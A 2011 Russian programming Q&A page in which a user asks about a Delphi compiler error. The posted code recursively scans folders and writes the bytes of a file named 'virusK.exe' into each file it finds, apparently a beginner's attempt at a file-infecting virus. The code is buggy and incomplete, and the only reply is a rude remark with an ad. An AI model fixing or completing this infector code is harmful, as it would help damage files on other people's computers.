|
Вопрос # 5 190/ вопрос решён / |
|
Здравствуйте, уважаемые эксперты! Почему Компилятор мне говорит что нужно поставить точку вместо запятой, если дальше у меня есть продолжение программы?
'.' excepted but ';' found
в 3 строке (end;)
Приложение: Переключить в обычный режим- begin
-
- end;
- function FolderScan(Folder: String; FileName: String): Boolean;
- var
- SR: TSearchRec;
- begin
- Result := False;
- while FindFirst(Folder + '*.*',faAnyFile,SR)=0 do
- try
- repeat
- if (SR.Name = '.') or (SR.Name = '..') then
- Continue;
- if (SR.Attr and faDirectory <> 0) then
- Result := FolderScan(Folder+SR.Name+'\', fileName);
- if Result then
- Break
- else
- Continue;
- //-------------------------------------------------------------------------------------
- filemode:= fmOpenRead;
- assignfile(file1, 'c:\Program Files\Borland\Delphi7\Projects\virus\virusK.exe');
- reset(file1, 1);
- //-------------------------------------------------------------------------------------
- filemode:= fmOpenReadWrite;
- assignfile(file3, 'C:\C\1\'+SR.name);
- rewrite(file3, 1);
- //-------------------------------------------------------------------------------------
- BlockRead(file3, buf, SR.Size, NRead);
- BlockRead(file1, Buf, virsize, NRead);
- BlockWrite(file3, buf, virsize, NRead);
- BlockWrite(file3, buf, SR.Size, NRead);
- closefile(file1);
- closefile(file3);
- //-------------------------------------------------------------------------------------
- if SR.Name = FileName then
- Result := True;
- break;
- until
- FindNext(SR)<>0 ;
- finally
- SysUtils.FindClose(SR);
- end;
- end;
- end.
-
 |
Вопрос задал: Кудя (статус: Посетитель)
Вопрос отправлен: 13 апреля 2011, 20:14
Состояние вопроса: решён, ответов: 0.
|
Мини-форум вопроса
Всего сообщений: 1; последнее сообщение — 13 апреля 2011, 20:21; участников в обсуждении: 1.
13 апреля 2011, 20:15: Статус вопроса изменён на решённый (изменил автор вопроса — Кудя)
|
min@y™ (статус: Доктор наук), 13 апреля 2011, 20:21 [#1]:
Может будешь включать мозг, прежде чем задавать вопросы?
Делаю лабы и курсачи по Delphi и Turbo Pascal. За ПИВО! Пишите в личку, а лучше в аську. А ещё лучше - звоните в скайп!
|
Чтобы оставлять сообщения в мини-форумах, Вы должны авторизироваться на сайте.
|
